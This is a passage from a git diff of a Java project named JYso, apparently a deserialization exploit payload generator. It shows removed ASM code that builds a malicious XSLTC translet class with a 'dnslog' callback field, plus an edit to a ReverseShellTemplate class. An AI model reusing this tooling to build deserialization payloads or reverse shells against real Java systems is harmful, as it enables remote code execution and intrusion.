mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/IOException", "printStackTrace", "()V", false); - mv.visitLabel(l4); - mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null); - mv.visitInsn(RETURN); - mv.visitMaxs(2, 3); - mv.visitEnd(); - } - { - mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); - mv.visitCode(); - mv.visitInsn(RETURN); - mv.visitMaxs(0, 3); - mv.visitEnd(); - } - { - mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); - mv.visitCode(); - mv.visitInsn(RETURN); - mv.visitMaxs(0, 4); - mv.visitEnd(); - } - { - mv = cw.visitMethod(ACC_STATIC, "", "()V", null, null); - mv.visitCode(); - mv.visitLdcInsn(dnslog); - mv.visitFieldInsn(PUTSTATIC, className, "dnslog", "Ljava/lang/String;"); - mv.visitInsn(RETURN); - mv.visitMaxs(1, 0); - mv.visitEnd(); - } - cw.visitEnd(); - bytes = cw.toByteArray(); - } -} diff --git a/src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java b/src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java index c334a0d..7117347 100644 --- a/src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java +++ b/src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java @@ -1,6 +1,5 @@ package com.qi4l.JYso.template; -import com.qi4l.JYso.gadgets.utils.Cache; import com.qi4l.JYso.gadgets.utils.Utils; import org.objectweb.asm.*; @@ -44,7 +43,7 @@ public class ReverseShellTemplate implements Template { @Override public void cache() { - Cache.set(className, bytes); + } @Override